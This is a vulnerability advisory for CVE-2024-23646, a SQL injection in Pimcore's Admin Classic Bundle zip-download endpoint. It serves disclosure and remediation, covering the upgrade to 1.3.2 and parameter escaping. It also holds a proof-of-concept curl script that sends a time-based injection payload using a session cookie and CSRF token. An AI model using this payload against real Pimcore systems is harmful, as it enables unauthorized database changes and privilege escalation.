CVE-2024-23646: Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip
Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) - Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie. - Run the following script, substituting the values accordingly: #!/bin/bash BASEURL=http://localhost # REPLACE THIS! CSRFTOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(selectfrom(select(sleep(6)))a)"
curl "${BASEURL}/admin/asset/download-as-zip-add-files?dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" - The response is delayed by 6 seconds.
Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Other sources
Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter selectedIds is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/pimcore/admin-ui-classic-bundleto a version that resolves this vulnerability.Fixed in 1.3.2 - Upgrade
Upgrade
pimcore/admin-ui-classic-bundle (Admin Classic Bundle) 1.xto a version that resolves this vulnerability.Fixed in 1.3.2 - Configuration
Modify downloadAsZipAddFilesAction to escape the 'selectedIds' parameter to prevent SQL injection (the material notes downloadAsZipJobsAction escapes parameters but downloadAsZipAddFilesAction does not).
pimcore/admin-ui-classic-bundle downloadAsZipAddFilesAction selectedIds parameter handling = escape parameters (like downloadAsZipJobsAction)
Event History
Frequently Asked Questions
What is the severity of CVE-2024-23646?
CVE-2024-23646 has been classified with a severity level that indicates a critical vulnerability due to SQL Injection risks.
How do I fix CVE-2024-23646?
To fix CVE-2024-23646, upgrade the pimcore/admin-ui-classic-bundle to version 1.3.2 or later.
What types of software are affected by CVE-2024-23646?
CVE-2024-23646 affects versions of the pimcore/admin-ui-classic-bundle between 1.0.0 and 1.3.2.
What type of vulnerability is CVE-2024-23646?
CVE-2024-23646 is classified as an SQL Injection vulnerability.
What actions can be taken to mitigate CVE-2024-23646?
Mitigating actions for CVE-2024-23646 include sanitizing inputs and applying security patches as soon as available.